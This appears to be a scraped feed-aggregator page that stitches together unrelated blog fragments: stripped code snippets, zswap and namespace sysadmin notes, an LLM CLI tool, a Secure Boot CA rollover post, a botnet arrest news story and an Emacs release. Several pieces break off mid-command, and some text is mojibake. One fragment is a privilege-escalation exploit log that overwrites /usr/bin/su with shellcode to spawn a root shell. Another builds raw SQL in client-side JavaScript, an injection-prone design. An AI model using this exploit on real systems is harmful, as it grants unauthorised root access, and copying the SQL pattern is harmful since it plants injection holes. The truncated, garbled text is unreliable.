Planet Russell

exim4 · really interesting

    for i in range(2**32-1):

[ Jochen Sprickerhof ]
* Improve header detection for Sphinx documentation projects.

DateTime sCDate2 = Convert.ToDateTime(Hdn_SelectedDate.Value);
Double dStart2 = double.Parse(Hdn_SelectedShifts.Value.Split('@')[0]); // Gets something like "10.5" for 10:30

// More code ...

DateTime lSelectedStartAdd = DateTime.Parse(sCDate2.ToShortDateString() + " " + DateTime.FromOADate((dStart2) / 24).ToShortTimeString());

try:
  # the whole business logic without any exception handling
except:
  print("Fudge")

namespace Acme\Documents\Domain;

interface CakeSessionRepositoryInterface
{
   public function isLoggedIn(string $cookieId);
}

{(isAdmin || canSeeResults) && (
    <div>
        <p>Admin Actionsp>
            {(isAdmin || canSeeResults) && (
                <div>
                    <button> Show Results button>
                div>
            )}
    div>
)}

2144316 root      20   0       0      0      0 I  26.6   0.0   0:36.76 kworker/u88:20-btrfs-endio-write                                                                                                                                                                             
2221470 root      20   0       0      0      0 I  23.7   0.0   0:01.85 kworker/u88:12-gfx                                                                                                                                                                                           
2221436 root      20   0       0      0      0 I  15.1   0.0   0:07.48 kworker/u88:8-btrfs-compressed-write                                                                                                                                                                         
2166191 root      20   0       0      0      0 I  12.8   0.0   0:15.80 kworker/u88:23-btrfs-compressed-write                                                                                                                                                                        
2126387 root      20   0       0      0      0 I  10.2   0.0   1:29.11 kworker/u88:4-events_unbound 
# chrt -p $(pidof -s einstein_O4MD_2.01_x86_64-pc-linux-gnu)
pid 2974874's current scheduling policy: SCHED_IDLE
pid 2974874's current scheduling priority: 0
#!/bin/bash
set -euo pipefail

nsdir=/var/namespaces
nsfile=$nsdir/backup
nsfilex="$(echo $nsfile | sed 's#/#\\/#'g)"

private_propagation() {
    findmnt -o+PROPAGATION "$nsdir" | grep -q private
}
nsfs_is_mounted() {
    test "nsfs" = "$(awk "/$nsfilex/ { print \$3 }" /proc/mounts)"
}

if ! nsfs_is_mounted; then

    if ! private_propagation; then
        mkdir -p "$nsdir"
        mount --bind --make-private "$nsdir" "$nsdir"
    fi

    touch "$nsfile"
    unshare --mount="$nsfile" true

    nsenter --mount=/var/namespaces/backup mount /dev/phobos_backup/backup /backup
fi

ExecStart=/usr/bin/nsenter \
        --mount=/var/namespaces/backup \
        borgmatic -v 1 prune create

    StringBuilder builder = new StringBuilder();

    builder.append("where ID_BSNGP = ? ");
    builder.append("and ID_ITM = ? ");
    builder.append("for update");

    SQLQuery query = new SQLQuery();

    query.setQueryString(builder.toString());

$ sudo apt install qemu-user qemu-user-binfmt debootstrap
$ fakeroot debootstrap --foreign --arch=i386 debian-i386
$ sudo chroot debian-i386
# inside the chroot 
# /debootstrap/debootstrap --second-stage 
# exit

$ sudo mount --bind /dev/ debian-i386/dev/
$ sudo mount --bind /dev/pts debian-i386/dev/pts
$ sudo mount -t proc none  debian-i386/proc/

$ sudo chroot debian-i386

# export LANG=C
# cat /etc/apt/sources.list
deb http://deb.debian.org/debian stable main contrib non-free
# apt update && apt install --yes steamcmd 
# useradd --create-home --shell /bin/bash steam
# su - steam
$ steamcmd 
... will download an updated version of the tool, and print a lot of tracing information

Steam> quit

  const isAuthorized = useMemo(() => {
    return (session && token && !group) === false;
  }, [session, token, group]);

$monthes = array(
        1 => 'Января', 2 => 'Февраля', 3 => 'Марта', 4 => 'Апреля',
        5 => 'Мая', 6 => 'Июня', 7 => 'Июля', 8 => 'Августа',
        9 => 'Сентября', 10 => 'Октября', 11 => 'Ноября', 12 => 'Декабря'
);

if ( $team->have_posts() ) :
    // Start the Loop.
    while ( $team->have_posts() ) : $team->the_post();

        $date = get_the_date();
        $d1 = explode(".", $date);

        if ($d1[1][0]=='0')
            $m = $d1[1][1];
        else
            $m = $d1[1][0];
        ?>class="date">php echo $d1[0]." ".$monthes[$m]." ".$d1[2]; ?>div>

[zram0]
compression-algorithm=zstd(level=10)
zswap.enabled=1 zswap.compressor=zstd zswap.max_pool_percent=20 zswap.shrinker_enabled=1
echo zstd > /sys/module/zswap/parameters/compressor
echo 1 > /sys/module/zswap/parameters/enabled
echo zstd > /sys/module/zswap/parameters/compressor
echo 1 > /sys/module/zswap/parameters/shrinker_enabled
# grep -r . /sys/kernel/debug/zswap/
/sys/kernel/debug/zswap/stored_pages:262541
/sys/kernel/debug/zswap/pool_total_size:455266304
/sys/kernel/debug/zswap/written_back_pages:384
/sys/kernel/debug/zswap/reject_compress_poor:0
/sys/kernel/debug/zswap/reject_compress_fail:160911
/sys/kernel/debug/zswap/reject_kmemcache_fail:0
/sys/kernel/debug/zswap/reject_alloc_fail:0
/sys/kernel/debug/zswap/reject_reclaim_fail:0
/sys/kernel/debug/zswap/pool_limit_hit:0
echo "scale=2; " $(
This table documents my current understanding of the debug values. The difference between reject_compress_fail and reject_compress_poor isn’t clear in a lot of the documentation, even reading the source didn’t make it easy to understand.

File
Meaning (LC is lifetime count)

pool_limit_hit
LC pool limit hit and pages are forced to the swap partition

pool_total_size
RAM used for zswap data

reject_alloc_fail
LC can’t allocate memory because max_pool_percent has been reached

reject_compress_fail
LC of pages with a compression algorithm failure so go straight to swap partition

reject_compress_poor
LC of pages that can’t compress so go straight to swap partition

reject_kmemcache_fail
LC kernel malloc failure (serious problem?)

reject_reclaim_fail
LC failure to move a page from compressed RAM to disk – serious problem!

stored_pages
Swapped pages stored by zswap

written_back_pages
LC of pages written back to swap partition from zswap

All of this is not nearly as easy to understand as the following command for zram:
# zramctl 
NAME       ALGORITHM DISKSIZE  DATA COMPR TOTAL STREAMS MOUNTPOINT
/dev/zram0 zstd          7.7G  2.1G  375M  386M       4 [SWAP]
Debian Wiki
The Debian Wiki page about Zswap is very brief [4] and needs more description about this, I think a lot of Debian users will use zram instead of zswap because setting up zram is just a single apt command. I’m not planning to immediately add to that wiki page because I’m not an expert on this, I would appreciate comments on this blog post from others who have got zswap working. I will update the wiki if others report matching experiences to mine.
Conclusion
I’m now using zswap on a few systems including my main home workstation which had performed poorly with zram and a swap device in the past. If that goes well I’ll put it on other systems.
I wrote the following shell script to display zswap stats, consider it GPL if you want to use it:
#!/bin/bash

if [ ! -f /sys/kernel/debug/zswap/stored_pages ]; then
  echo "ZSwap not enabled"
  exit 0
fi
PAGES=$(

[1] https://etbe.coker.com.au/2025/08/27/zram-vms/
[2] https://tinyurl.com/2bhknn7e
[3] https://tinyurl.com/2bxvj3pq
[4] https://wiki.debian.org/Zswap

Related posts:

ZRAM and VMs I’ve just started using zram for swap on VMs. The...
Comparing Compression I just did a quick test of different compression options...
ZFS 2.0.0 Released Version 2.0 of ZFS has been released, it’s now known...

QStringList TableViewAssembly::parametersFilter(ProbePart::Type type, int pos, QList probeDesign) {
    QString to, from;

    if(pos == -1) {
        if(probeDesign.length() == 0) {
            to = "*";
            from = "AutoJoint";
        } else {
            to = probeDesign.at(0).fromMounting();;
            from = "AutoJoint";
        }
    } else if(pos == 0) {
        if(probeDesign.length() == 1) {
            if(probeDesign.at(pos).type() == ProbePart::Type::Stylus) {
                to = probeDesign.at(pos).fromMounting();
                from = "*";
            } else {
                to = "*";
                from = probeDesign.at(pos).toMounting();
            }
        } else {
            to = probeDesign.at(pos + 1).fromMounting();
            from = probeDesign.at(pos).toMounting();
        }
    } else if(pos == probeDesign.length() - 1) {
        if(probeDesign.at(pos).type() == ProbePart::Type::Stylus) {
            if(probeDesign.length() <= 1) {
                from = "*";
                to = probeDesign.at(pos).fromMounting();
            } else {
                from = probeDesign.at(pos - 1).toMounting();
                to = probeDesign.at(pos).fromMounting();
            }
        } else {
            from = probeDesign.at(pos).toMounting();
            to = "*";
        }
    } else {
        from = probeDesign.at(pos).toMounting();
        to = probeDesign.at(pos + 1).fromMounting();
    }

    return { to, from };
}

if(sizeof($files) > 0){
		if(sizeof($files) > 0){
				foreach($files as $file){
						$mime->addAttachment($file);
		}
		}
}

function sendLinkVal(theDate,theStatus,MainTitle,PageTitle){
  var dateSQL = " AND J.JBDeliveryDate=''" + theDate + 
    "''"
  var status = ""
  var newSQLTag =""
  var PageTitle = PageTitle
  var MainTitle = MainTitle
    //alert(dateSQL)
      switch (theStatus){
        case "Confirmed":
          dateSQL= "" 
          var modeSQL = ""
          modeSQL = " AND (J.JBCompanyID=31337) "
          status = " GlobalJobStatusView AS J WHERE J.JBCollectDate=''
	    " + theDate + "'' AND J.JBConfirmed=''Yes'' AND 
	    J.MIStatusCode<>5" + modeSQL + " AND 
	    (ISNULL(J.JBCancelled, 0) <> 1) ORDER BY 
	    Convert(int, J.MIJobID)"
        break;
        case "Unconfirmed": 
          dateSQL= ""
          var modeSQL = ""
          modeSQL = " AND (J.JBCompanyID=31337) " 
          status = " GlobalJobStatusView AS J WHERE J.JBCollectDate=''
	    " + theDate + "'' AND J.JBConfirmed=''No''" + 
	    modeSQL + " ORDER BY Convert(int, J.MIJobID)"
        break;
        case "Complete":
          dateSQL= ""
          var modeSQL = ""
          modeSQL = " AND (J.JBCompanyID=31337) " 
          status = " GlobalJobStatusView AS J WHERE J.JBCollectDate=''
	    " + theDate + "'' AND J.MIStatusCode=5" + 
	    modeSQL + " ORDER BY Convert(int, J.MIJobID)"
        break;
        case "Unconformed": 
          dateSQL= ""
          var modeSQL = ""
          modeSQL = " AND (J.JBCompanyID=31337) " 
          status = " GlobalJobStatusView AS J WHERE J.JBCollectDate=''
	    " + theDate + "'' AND (J.MIConformance IS NOT NULL 
	    AND J.MIConformance<>'''') " + modeSQL + " 
	    ORDER BY Convert(int, J.MIJobID)"
        break;
        case "NoDelDate":
          dateSQL= ""
          var modeSQL = ""
          modeSQL = " AND (J.JBCompanyID=31337) " 
          dateSQL =" GlobalJobStatusView AS J WHERE J.JBDeliveryDate 
	    IS NULL " + modeSQL + " ORDER BY Convert(int, J.MIJobID)
	    "
        break;
        case "Collections":
          // the dateSQL is not required so set it to nothing so that it 
          // doesn't interfere with the sql being generated at the end of 
          // the function.
          dateSQL= "" 
          var modeSQL = ""
          modeSQL = " AND (J.JBCompanyID=31337) "
          status = " GlobalJobStatusView AS J WHERE J.JBCollectDate=''
	    " + theDate + "''" + modeSQL + " ORDER BY 
	    Convert(int, J.MIJobID)"
        break;
        case "Deliveries":
          // the dateSQL is not required so set it to nothing so that it 
          // doesn't interfere with the sql being generated at the end of 
          // the function.
          dateSQL= "" 
          var modeSQL = ""
          modeSQL = " AND (J.JBCompanyID=31337) "
          status = " GlobalJobStatusView AS J WHERE J.JBDeliveryDate=''
	    " + theDate + "''" + modeSQL + " ORDER BY 
	    Convert(int, J.MIJobID)"
        break;
        case "ColAndDel":
          // the dateSQL is not required so set it to nothing so that it 
          // doesn't interfere with the sql being generated at the end of 
          // the function.
          dateSQL= "" 
          var modeSQL = ""
          modeSQL = " AND (J.JBCompanyID=31337) "
          status = " GlobalJobStatusView AS J WHERE ((J.JBDeliveryDate=''
	    " + theDate + "'') OR (J.JBCollectDate=''" + 
	    theDate + "''))" + modeSQL + " ORDER BY 
	    Convert(int, J.MIJobID)"
        break;
        case "Subcontractor":
          // the dateSQL is not required so set it to nothing so that it 
          // doesn't interfere with the sql being generated at the end of 
          // the function.
          dateSQL= "" 
          var modeSQL = ""
          modeSQL = " AND (J.JBCompanyID=31337) "
          status = " JobAndLoadView AS J WHERE (J.JBDeliveryDate=''
	    " + theDate + "'') " + modeSQL + " 
	    ORDER BY Convert(int, J.MIJobID)"
        break;
        case "Cancelled":
          // the dateSQL is not required so set it to nothing so that it 
          // doesn't interfere with the sql being generated at the end of 
          // the function.
          dateSQL= "" 
          var modeSQL = ""
          modeSQL = " AND (J.JBCompanyID=31337) "
          status = " GlobalJobStatusView AS J WHERE (J.JBCollectDate==''
	    " + theDate + "'') " + modeSQL + " AND 
	    ISNULL(J.JBCancelled, 0) = 1 ORDER BY Convert(int, J.MIJobID)"
        break;
        default : status ="";
      }
        newSQLTag = dateSQL + status;
        document.all.hiddenForm.linkVal.value = newSQLTag;
        document.all.hiddenForm.PageTitle.value = PageTitle
        document.all.hiddenForm.MainTitle.value = MainTitle
        document.all.hiddenForm.submit();  
    //alert(newSQLTag)
  }
type rib struct {
    tree          *bart.Table[prefixIndex]
    routes        map[routeKey]route
    nlris         *intern.Pool[nlri]
    nextHops      *intern.Pool[nextHop]
    rtas          *intern.Pool[routeAttributes]
    nextPrefixID  prefixIndex
    freePrefixIDs []prefixIndex
}

type prefixIndex uint32
type routeIndex uint32
type routeKey uint64

type route struct {
    peer       uint32
    nlri       intern.Reference[nlri]
    nextHop    intern.Reference[nextHop]
    attributes intern.Reference[routeAttributes]
    prefixLen  uint8
}

type nlri struct {
    family bgp.Family
    path   uint32
    rd     RD
}
type nextHop netip.Addr
type routeAttributes struct {
    asn              uint32
    asPath           []uint32
    communities      []uint32
    largeCommunities []bgp.LargeCommunity
}

type generation uint32
type prefixRef struct {
    idx prefixIndex
    gen generation
}
type rib struct {
    mu     sync.Mutex
    tree   atomic.Pointer[bart.Table[prefixRef]]
    shards []*ribShard
}

type=PROCTITLE msg=audit(1779615031.043:15540): proctitle="./exp"
type=AVC msg=audit(1779615031.043:15541): avc:  denied  { create } for  pid=1360 comm="exp" scontext=user_u:user_r:user_t:s0 tcontext=user_u:user_r:user_t:s0 tclass=rds_socket permissive=0
type=SYSCALL msg=audit(1779615031.043:15541): arch=c000003e syscall=41 success=no exit=-13 a0=15 a1=5 a2=0 a3=0 items=0 ppid=879 pid=1360 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm="exp" exe="/home/test/b/pocs/pintheft/exp" subj=user_u:user_r:user_t:s0 key=(null)ARCH=x86_64 SYSCALL=socket AUID="test" UID="test" GID="test" EUID="test" SUID="test" FSUID="test" EGID="test" SGID="test" FSGID="test"
[-] only stole 0/1024 refs — may not be enough
[-] too few stolen refs, aborting
[-] attempt 5 failed, retrying...
[-] all 5 attempts failed
socket(AF_RDS, SOCK_SEQPACKET, 0)       = -1 EAFNOSUPPORT (Address family not supported by protocol)
[*] verifying page cache overwrite...
[*] page cache page 0 AFTER overwrite (our shellcode) (129 bytes):
  0000:  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
  0010:  03 00 3e 00 01 00 00 00  68 00 00 00 00 00 00 00  |..>.....h.......|
  0020:  38 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |8...............|
  0030:  00 00 00 00 40 00 38 00  01 00 00 00 05 00 00 00  |....@.8.........|
  0040:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  0050:  2f 62 69 6e 2f 73 68 00  81 00 00 00 00 00 00 00  |/bin/sh.........|
  0060:  81 00 00 00 00 00 00 00  31 ff b0 69 0f 05 48 8d  |........1..i..H.|
  0070:  3d db ff ff ff 6a 00 57  48 89 e6 31 d2 b0 3b 0f  |=....j.WH..1..;.|
  0080:  05                                                |.|

[+] verification PASSED — page cache overwritten with SHELL_ELF
[+] executing /usr/bin/su (now contains setuid(0) + execve /bin/sh)...

=== RESTORE: sudo cp /tmp/.backup_su_13294 /usr/bin/su && sudo chmod u+s /usr/bin/su ===
# 
~/.config/hraesvelgr/config.ini like this:

[server]
url=https://some.llm.example.com:8080/v1/
model=Qwen/Qwen3.6-27B-FP8

With this configuration in place (you can also specify these values
directly on the command line), you can specify a pattern and a file to
process like this:

% bin/hraesvelgr --pattern explain_code bin/hraesvelgr
EXPLANATION:
This Python script is a client tool for interacting with an AI
service (likely a local LLM server) to process text using prompts
defined in the "AI Fabric" repository. It reads system and user
prompts from markdown files, sends them along with input text to a
chat completion API endpoint, and prints the generated response.

Key components:
1. It uses argparse for command-line argument parsing
2. The `send_chat_completion_request` function formats messages
   (system, user, query) into JSON and sends them via HTTP POST to
   an AI service endpoint
3. `read_file` function reads markdown files, replacing placeholders
   like {{lang_code}} with actual values from arguments
4. In main():
 - Parses command-line arguments for input file, API base URL,
   pattern type, language code, and debug flag
 - Ensures the base URL ends with a slash
 - Reads system prompt from data/patterns/{pattern}/system.md
 - Optionally reads user prompt from data/patterns/{pattern}/user.md
 - Reads input text either from stdin (when "-" is passed) or a file
 - Handles encoding fallback to ISO-8859-1 if UTF-8 fails
 - Sends the formatted request to the AI service and prints the response

The script assumes it's running in a directory containing a git
clone of https://github.com/danielmiessler/fabric/, which contains
the necessary prompt files.

This tool is designed to interface with local LLM servers that
support OpenAI-compatible chat completion APIs.
%

The list of available patterns can be viewed by running
bin/hraesvelgr --list-patterns.  I have found the
summarize, translate,
improve_writing, review_code, and
explain_terms_and_conditions patterns particularly
useful.  For example using the latter combined with a text based web
browser capable of dumping a page as plain text, can be done like this
(originally formatted in markdown, I converted to HTML using pandoc
for easier readability):

% w3m  -dump https://runbox.com/about/terms-service/ | \
  hraesvelgr --pattern explain_terms_and_conditions
Executive Summary
This is a transparent, privacy-focused contract from
a Norwegian provider that generally respects user data rights and
operates under strict EU/EEA standards. However, it carries
strict liability limitations and an aggressive
data-deletion policy upon cancellation. The vibe is â€œProfessional &
Privacy-First,â€� but you must manage your own backups and understand that
the company heavily shields itself from financial responsibility during
technical failures.
Key Takeaways

ğŸ›¡ Your Data Stays Yours: Section 10.2 explicitly
states Runbox will never use your transmitted or stored data for
commercial purposes. This is a major privacy win.

[... trimmed output, as it is not the focus of this blog post ...]

If you sign:

ğŸ”’ Set up automated backups
immediately. Use IMAP sync to a local drive or a secondary
email provider before storing any critical documents or emails.
Do not rely on Runbox as your only archive.
ğŸ“… Mark your
calendar for the 30-day trial end date. Miss the payment
window, and access closes instantly with no recovery period.
ğŸ’°
Monitor price changes at renewal. Since they can adjust
fees anytime, check their pricing page a few days before your
subscription renews to avoid unexpected charges.

NO FORCED ARBITRATION CLAUSE FOUND.

REFUND POLICY IS STRICTLY CONDITIONAL (see Sections 4.2â€“4.5).

As you might have already noticed, I name  my project
after the Norse God of Wind.  I found a nice description of the
origin of the name on
Wikipedia:

In VafÃ¾rÃºÃ°nismÃ¡l (The Lay of VafÃ¾rÃºÃ°nir), Odin questions the wise
jÃ¶tunn VafÃ¾rÃºÃ°nir about the origin of the wind, and the jÃ¶tunn
answers:

He is called HrÃ¦svelg,
who sits at heavenâ€™s end,
a giant, in the shape of an eagle;
from his wings
they say the wind comes over all people.

(translated by John Lindow in Norse Mythology: A Guide to Gods,
Heroes, Rituals, and Beliefs 2002)

The latest version of the code can be found at
https://codeberg.org/pere/hraesvelgr/.  Perhaps you will find it as useful as I did?

As usual, if you use Bitcoin and wish to show your support of my
activities, please send Bitcoin donations to my address
15oWEoG9dUPovwmUL9KWAnYRtNJEkP1u1b.
** Xxxx, Yyyyy
- Documentation :: [[./Xxxx-Yyyyy/README.md][README.md]]
- Files :: [[./Xxxx-Yyyyy/LeerArchivo.py][LeerArchivo.py]]
- Concurrency / Synchronization ::
- Interface ::
- Comments ::
- Technical Highlights ::

  Subject: C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011
  Validity
    Not Before: Oct 19 18:41:42 2011 GMT
    Not After : Oct 19 18:51:42 2026 GMT

This expires in October this year, ~5 months from now.

2. Third Party Marketplace Root (used for signing option ROMs and other software)

  Subject: C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011
  Validity
    Not Before: Jun 27 21:22:45 2011 GMT
    Not After : Jun 27 21:32:45 2026 GMT

For Linux folks, this second certificate is more interesting - it
is the root of the certificate chain that Microsoft use when
signing shim for Linux
distributions

This CA expires 5 weeks from today.

OMG!!! Will all my existing Secure Boot machines stop booting?

Almost definitely not, no.

The specification for UEFI Secure Boot expects that valid dates on
certificates should not be enforced for signatures here. All that
matters here is the signatures themselves. Modulo buggy firmware,
existing signed binaries should continue just fine.

New CAs to be aware of

Microsoft have published three new CAs:

1. A new CA used for signing device option ROMs

  Subject: C=US, O=Microsoft Corporation, CN=Microsoft Option ROM UEFI CA 2023
  Validity
    Not Before: Oct 26 19:02:20 2023 GMT
    Not After : Oct 26 19:12:20 2038 GMT

2. A new CA used for signing Windows components

  Subject: C=US, O=Microsoft Corporation, CN=Windows UEFI CA 2023
  Validity
    Not Before: Jun 13 18:58:29 2023 GMT
    Not After : Jun 13 19:08:29 2035 GMT

3. A new CA used for signing other software (e.g. shim)

  Subject: C=US, O=Microsoft Corporation, CN=Microsoft UEFI CA 2023
  Validity
    Not Before: Jun 13 19:21:47 2023 GMT
    Not After : Jun 13 19:31:47 2038 GMT

New machines and updated older machines will most
likely have all of these new CAs installed. New machines are
already shipping that only include the new CAs; they
will not trust older software and this has already started causing
problems for some users.

Isn't this is all a bit short notice?

Yes it is. :-(

A common rule of thumb when deploying CA certificates is to start
the process of replacement ("rollover") when a certificate reaches
half of its lifetime. Unfortunately, Microsoft have done this very
late. They generated new keys in 2023, but didn't start signing shim
and other third-party software with the UEFI CA until October
2025.

If I'm a distro developer, what should I do?

If you already have an old shim signed by Microsoft for your
distribution from before October 2025, then it will only be signed
using the older CA that expires soon. On newer machines, your users
will already not be able to boot your distro with Secure Boot
enabled.

If you want your users to be able to use Secure Boot in future, you
will need to get a new shim build submitted, reviewed and signed using
the new CA. However, that signed build will not work on older machines
unless they have had the new CAs installed. This is also likely to
cause problems for some users. You should encourage your users to
update their systems NOW before things break for
them.

There is an interim solution which will work, but only if you're
quick! Microsoft are currently returning shim binaries signed
using both the old CA and the new CA. More
specifically, for every binary that is submitted they will return two:
one signed with each CA. If you use these directly, you'll need to
plan to publish:

2 signed shim binaries
2 installers
2 sets of live/installer images
etc.

and explain to your users how they'll need to pick one. Good luck
with that!

However, it is possible to extract signatures from
those signed shim binaries and attach them all onto one shim, giving
you the Holy Grail here - a single shim that will boot on the vast
majority of machines. Indeed, this is what I'm planning on doing in
Debian. So-called "dual-signed" shims may provoke
issues with buggy firmware, so be aware that you may have to deal with
this too. But take heart: early testing by various distro folks with a
dual-signed Fedora shim did not show any problems.

You have 5 weeks and counting...

Microsoft have promised to continue signing with the old CA as long
as possible, right up to the last day. They understand how awkward
things are going to be otherwise, and are trying to help here as much
as possible.

In the shim-review team, we have been expecting to see a surge of
shim submissions before the old CA expires, to make the most of the
"Holy Grail" dual-signed shims described above. But we've been really
surprised that this has not been happening.

So, this blog is a wake-up call for people doing Secure Boot with
shim. Even if you're not going to be ready to ship a new shim binary
to your users, you should really try to get a new build prepared and
signed NOW so that you have it available to tide you
over through the coming CA transition. Don't leave it too late.

If you're not sure what to do, ask me and the other shim-review
folks. We're happy to give advice. But don't delay.

You have 5 weeks and counting.

How to make a dual-signed shim binary

Microsoft only ship binaries with a single signature included. To
make things work, extract those signatures using sbattach
--detach (from the sbsigntools source package, available in
most distributions. Then apply those signatures one at a time to your
shim binary, using sbattach --attach. Simple,
really. There's one strong recommendation here: order the signatures
on your shim oldest first - that way, old buggy
firmware implementations that potentially don't look for more than one
signature will find the old signature first.

pesign can also handle moving signatures around, but I
chose sbsigntools when doing this work myself.

If you're looking to see how others handle multiple signed shim
binaries, feel free to look at the Debian shim-signed
package for examples. The repo
is https://salsa.debian.org/efi-team/shim-signed.git.

References

Microsoft ship all their CA certificates and binaries you can use
to update computers
at https://github.com/microsoft/secureboot_objects
The Debian wiki has a lot more information
about UEFI
and Secure Boot
already, and I'm going to be adding more user-focused documentation
about the CA rollover
at SecureBoot/CAChanges
shortly.

I'll add more links here in the coming weeks.

Alleged Kimwolf Botmaster ‘Dort’ Arrested, Charged in U.S. and Canada
2026-05-21T21:50:25Z
Canadian authorities on Wednesday arrested a 23-year-old Ottawa man on suspicion of building and operating Kimwolf, a fast spreading Internet-of-Things botnet that enslaved millions of devices for use in a series of massive distributed denial-of-service (DDoS) attacks over the past six months. KrebsOnSecurity publicly named the suspect in February 2026 after the accused launched a volley of DDoS, doxing and swatting campaigns against this author and a security researcher. He now faces criminal hacking charges in both Canada and the United States.
A criminal complaint unsealed today in an Alaska district court charges Jacob Butler, a.k.a. “Dort,” of Ottawa, Canada with operating the Kimwolf DDoS botnet. A statement from the Department of Justice says the complaint against Butler was unsealed following the defendant’s arrest in Canada by the Ontario Provincial Police pursuant to a U.S. extradition warrant. Butler is currently in Canadian custody awaiting an initial court hearing scheduled for early next week.
The government said Kimwolf targeted infected devices which were traditionally “firewalled” from the rest of the internet, such as digital photo frames and web cameras. The infected systems were then rented to other cybercriminals, or forced to participate in record-smashing DDoS attacks, as well as assaults that affected Internet address ranges for the Department of Defense. Consequently, the DoD’s Defense Criminal Investigative Service is investigating the case, with assistance from the FBI field office in Anchorage.
“KimWolf was tied to DDoS attacks which were measured at nearly 30 Terabits per second, a record in recorded DDoS attack volume,” the Justice Department statement reads. “These attacks resulted in financial losses which, for some victims, exceeded one million dollars. The KimWolf botnet is alleged to have issued over 25,000 attack commands.”
On March 19, U.S. authorities joined international law enforcement partners in seizing the technical infrastructure for Kimwolf and three other large DDoS botnets — named Aisuru, JackSkid and Mossad — that were all competing for the same pool of vulnerable devices.
On February 28, KrebsOnSecurity identified Butler as the Kimwolf botmaster after digging through his various email addresses, registrations on the cybercrime forums, and posts to public Telegram and Discord servers. However, Dort continued to threaten and harass researchers who helped track down his real-life identity and dramatically slow the spread of his botnet.
Dort claimed responsibility for at least two swatting attacks targeting the founder of Synthient, a security startup that helped to secure a widespread critical security weakness that Kimwolf was using to spread faster and more effectively than any other IoT botnet out there. Synthient was among many technology companies thanked by the Justice Department today, and Synthient’s founder Ben Brundage told KrebsOnSecurity he’s relieved Butler is in custody.
“Hopefully this will end the harassment,” Brundage said.
An excerpt from the criminal complaint against Butler, detailing how he ordered a swatting attack against Ben Brundage, the founder of the security firm Synthient.

The government says investigators connected Butler to the administration of the KimWolf botnet through IP address, online account information, transaction records, and online messaging application records obtained through the issuance of legal process. The criminal complaint against Butler (PDF) shows he did little to separate his real-life and cybercriminal identities (something we demonstrated in our February unmasking of Dort).
In April, the Justice Department joined authorities across Europe in seizing domain names tied to nearly four-dozen DDoS-for-hire services, although because of a bureaucratic mix-up the list of seized domains has remain sealed until today. The DOJ said at least one of those services collaborated with Butler’s Kimwolf botnet.
A statement from the Ontario Provincial Police said a search warrant was executed on March 19 at Butler’s address in Ottawa, where they seized multiple devices. As a result of that investigation, Butler was arrested and charged this week with unauthorized user of computer; possession of device to obtain unauthorized use of computer system or to commit mischief; and mischief in relation to computer data. He is scheduled to remain in custody until a hearing on May 26.
In the United States, Butler is facing one count of aiding and abetting computer intrusion. If extradited, tried and convicted in a U.S. court, Butler could face up to 10 years in prison, although that maximum sentence would likely be heavily tempered by considerations in the U.S. Sentencing Guidelines, which make allowances for mitigating factors such as youth, lack of criminal history and level of cooperation with investigators.

Amin Bandali: ffs 0.2.2 released
2026-05-21T21:33:33Z

ffs provides a minor mode for simple plain text presentations in
Emacs, where the slides are separated using the page-delimiter, by
default the form feed character (^L).

I wrote ffs in early 2022 for my LibrePlanet 2022 presentation the
Net beyond the Web, and earlier this year decided to polish it towards
being a proper package and submit it to GNU ELPA.  The manual still
needs some more work, but the overall package is in pretty good shape
so I submitted for inclusion in GNU ELPA.

Package name (GNU ELPA): ffs
Official manual: https://kelar.org/~bandali/gnu/emacs/ffs.html
Change log: https://kelar.org/~bandali/gnu/emacs/ffs-changelog.html
Git repository: https://git.kelar.org/~bandali/ffs
Backronyms: fabulous foolproof slides - for freedom's sake -
ffs flips slides

ffs and I owe a debt of gratitude to Protesilaos for rounds of
code review and feedback for improving and polishing the package in
preparation for submission to GNU ELPA.  You can watch videos of these
sessions posted earlier on my website:

FFS code review with Protesilaos
FFS code review and Emacs extensibility with Protesilaos

Further, inspiration for parts of ffs's implementation was
gratefully drawn from Protesilaos's Logos package for Emacs.

Dedicated to the loving memory of Farangis Yousefinia.

Below are the release notes.

Version 0.2.2 on 2026-05-21

First release of ffs on GNU ELPA.

The attempted build of ffs 0.2.1 within GNU ELPA build sandbox failed
with an Error: void-function (org-texinfo-kbd-macro) due to use of
#+macro: kbd (eval (org-texinfo-kbd-macro $1)) in ffs.org for better
formatting of key sequences in the exported Texinfo copy.  This seems
to have happened for the specific case of generating a plain text
README using ox-ascii where ELPA didn't load ox-texinfo.  To try
and mitigate this, a README.md has been added for use as the package
README instead of ffs.org.  If not sufficient, a Texinfo copy of the
ffs manual will be shipped instead of the Org one in the next release.

ffs 0.2.2 also includes small fixes and improvements throughout
ffs.el from Stefan Monnier, and additional feedback to be addressed
in future releases.

Version 0.2.1 on 2026-05-20

The attempted build of ffs 0.2.0 within GNU ELPA build sandbox failed
with a "Cannot include file" error on the "#+include: fdl.org" in the
manual.  So, as a workaround, we switch to using the official Texinfo
copy of the GNU FDL license rather than an Org copy.

Version 0.2.0 on 2026-05-19

First release of ffs intended for GNU ELPA.

After a few years of inactivity, in early 2026 I decided to dust off
ffs.el, polish and document it, and offer for inclusion in GNU ELPA
as a proper package.

Default value of ffs-default-face-height changed to nil

To minimize unexpected and/or unnecessary changes out-of-the-box, the
default value of ffs-default-face-height has been changed to nil.

ffs-edit-buffer-name demoted from user option to variable

This is not an important user-facing setting, so to help avoid
overwhelming users with many options, this has been demoted from a
user option to a variable.

Several new user options for customizing ffs's behaviour

As part of the effort to bring ffs more in line with the conventions
of other existing Emacs packages, the mechanisms for toggling various
parts of Emacs's interface to minimize visual clutter were changed
from being minor modes to being customizable user options.  These are
the replacement new user options, with a default value of nil:

ffs-hide-cursor
ffs-hide-mode-line
ffs-hide-header-line

Their value is buffer-local, and may be set globally using
setq-default.  See the sample configuration in the manual for an
example of how to customize them.

The new ffs-page-delimiter user option defines the page delimiter
inserted by ffs-edit-done when inserting a new slide.  Emacs's
page-delimiter regexp should be able to match ffs-page-delimiter's
value, so if you use a custom page-delimiter be sure to customize
ffs-page-delimiter accordingly.

The new ffs-echo-progress user option controls whether to display in
